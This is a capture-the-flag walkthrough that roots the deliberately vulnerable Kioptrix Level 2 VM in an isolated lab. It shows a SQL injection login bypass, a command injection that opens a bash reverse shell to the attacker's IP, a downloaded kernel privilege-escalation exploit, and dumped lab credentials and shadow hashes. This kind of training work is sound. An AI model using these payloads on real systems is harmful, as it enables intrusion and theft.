Kioptrix Level 2 (1.1)

This machine was released in 2011, being the second machine belonging to the Kioptrix series of vulnerable machines in Vulnhub.

Here’s a link to the machine: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/.

In this writeup, I will go over how I obtained root in this machine and explain my exploitation process from Installation to Exploitation.

Installation

Our machine is going to be installed similarly to Kioptrix 1 (reference: https://benheater.com/proxmox-running-kioptrix-level-1/). However, a DHCP server is necessary to assign an IP address to our machine.

Here’s a quick guide to setting up a DHCP server in the Kali attacker directed at machines on eth2, the network bridge I configured to isolate Vulnhub machines.

DHCP Setup

1. Install isc-dhcp-server: sudo apt install isc-dhcp-server -y
2. Configure the DHCP server: Delete everything on /etc/dhcp/dhcpd.conf and replace it with:

default-lease-time 600;
max-lease-time 7200;

subnet 10.0.1.0 netmask 255.255.255.0 {
	range 10.0.1.100 10.0.1.200;
	option routers 10.0.1.5;
}

10.0.1.5 is the IP address of my Kali machine in eth2. The IP addresses will be assigned in the range of 10.0.1.100 - 200. Modify these values depending on your specific setup.

3. Tell DHCP to listen on eth2
• sudo nano /etc/default/isc-dhcp-server
• Find INTERFACESv4="" and change it to: INTERFACESv4="eth2"
4. Start and Enable the Service:

sudo systemctl start isc-dhcp-server
sudo systemctl enable isc-dhcp-server

sudo systemctl status isc-dhcp-server

5. Find IP address of the vulnerable machine Use any of the following commands:

nmap -sn 10.0.1.0/24
sudo arp-scan --interface=eth2 --localnet

Here’s a screenshot of Kioptrix receiving an IP address from 10.0.1.5, the Kali attacker.

We can now continue with our standard boot2root operations.

Enumeration

Firstly, let’s find the IP address of our machine.

Let’s continue our enumeration with nmap.

Let’s check the web application running on port 80.

This looks like a barebones login system, it should be easy to break into it. I tried default credentials for common services (admin, root, guest, etc.) but they didn’t work.

Looking at the source code of the page with CTRL+U, we can find something interesting on line 28:

<!-- Start of HTML when logged in as Administator -->

There might be an ‘admin’ or ‘Administrator’ user in the system. Let’s keep using the username ‘admin’.

Initial Exploitation - SQLi

Going back at our nmap scans, we can see a MySQL service running in port 3306. We could try getting access to the system through SQLi.

I researched common payloads for MySQL systems and I found something useful on PayloadsAllTheThings: (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md#mysql-testing-injection).

I tried using the injections in the Login section with these creds admin / ' OR 1 -- -.

Now, we submit our payload…

We have access to the portal!

User Access - Command Injection

Let’s try running the application as expected with the input 10.0.1.5.

This looks like the output of the ping command. I wonder if we can execute anything else by abusing how Bash interprets multiple commands in a single line.

Let’s try ; whoami.

We have command injection! Let’s start a reverse shell back to our machine.

# on kali
nc -lvnp 7777

# type this in the web application
; sh -i >& /dev/tcp/10.0.0.5/7777 0>&1

We have user access!

Privilege Escalation

I used two different methods to obtain root access: running a public kernel exploit from Google and using the LinPEAS script.

Kernel Public Exploit

sh-3.00$ uname -r
2.6.9-55.EL

Looking up “linux kernel 2.6.9-55.EL exploit db” on Google will return many public exploits for the version of the Linux kernel.

Let’s use the first result: https://www.exploit-db.com/exploits/9542

Let’s download that exploit on our Kali machine and transfer it to the machine to get root.

We have root access!

LinPEAS findings

It seems this Linux kernel version is vulnerable to MULTIPLE exploits.

I downloaded LinPEAS.sh to use for privilege escalation and this is what I found when running the script.

Let us remember that the legend shown at the start of the execution of linpeas.sh reads “RED/YELLOW: 95% a PE vector”. There are tons of routes for privesc…

I tried running them in order. american-sign-language and half-nelson failed to compile on the target machine and I didn’t know how to run pktcdvd.

wunderbar_emporium was the exploit I used to gain privilege escalation on my first run.

You can download the script from https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz and follow the instructions (“use ./wunderbar_emporium.sh for everything”).

wunderbar_emporium exploit

# on attacker
# link found on the exploit db site
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz
gunzip 9435.tgz
└─$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.0.1.101 - - [27/Mar/2026 21:34:02] "GET /9435.tar HTTP/1.0" 200

We have root access!

Other Findings

MySQL Database - webapp

I spent about half an hour looking at the database for the web application before actually trying to do privilege escalation. Nothing really useful was found apart from the user credentials inside the applications. Inside the directory we spawn in, we can find the full versions of the index.php and pingit.php files used in the web application. The index.php file contains plaintext credentials for the user john to interact with the database.

sh-3.00$ head index.php
<?php
        mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
        //print "Connected to MySQL<br />";
        mysql_select_db("webapp");

Let’s connect to the MySQL service on the machine.

sh-3.00$ mysql -h localhost -u john -p
Enter password: hiroshima
\h
?         (\?) Synonym for `help'.

...

Interaction with the MySQL service is quite strange…

To receive the output of your commands, you must quit your session (\q) and the output will be displayed.

sh-3.00$ mysql -h localhost -u john -p
Enter password: hiroshima
\G show databases
\u webapp
\G show tables
\q
*************************** 1. row ***************************
Database: mysql
*************************** 2. row ***************************
Database: test
*************************** 3. row ***************************
Database: webapp
Tables_in_webapp
users
sh-3.00$

Anyways, here’s the whole database used in webapp.

sh-3.00$ mysql -u john -h localhost -phiroshima
\u webapp
\G SELECT * FROM users
\q
id      username        password
1       admin   5afac8d85f
2       john    66lajGGbla

I tried to ssh with these creds, but I was unsuccessful. These creds DO work with the webapp, which is neat. Logging in with admin creds displays the ping utility we used to get User Access. Using the john creds leads to an empty screen.

Here’s the /etc/shadow hashes. I was also unable to crack them with rockyou.txt.

root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7:::
john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7:::
harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:14529:0:99999:7:::

/var/mail/root didn’t really show anything interesting, just some automated log thing with LogWatch:

Let’s edit /etc/issue again with wget http://10.0.1.5:8080/new_msg.txt and mv new_msg.txt /etc/issue to finalize.

※ This is the end of this writeup. Hope I can continue writing about this series of VMs!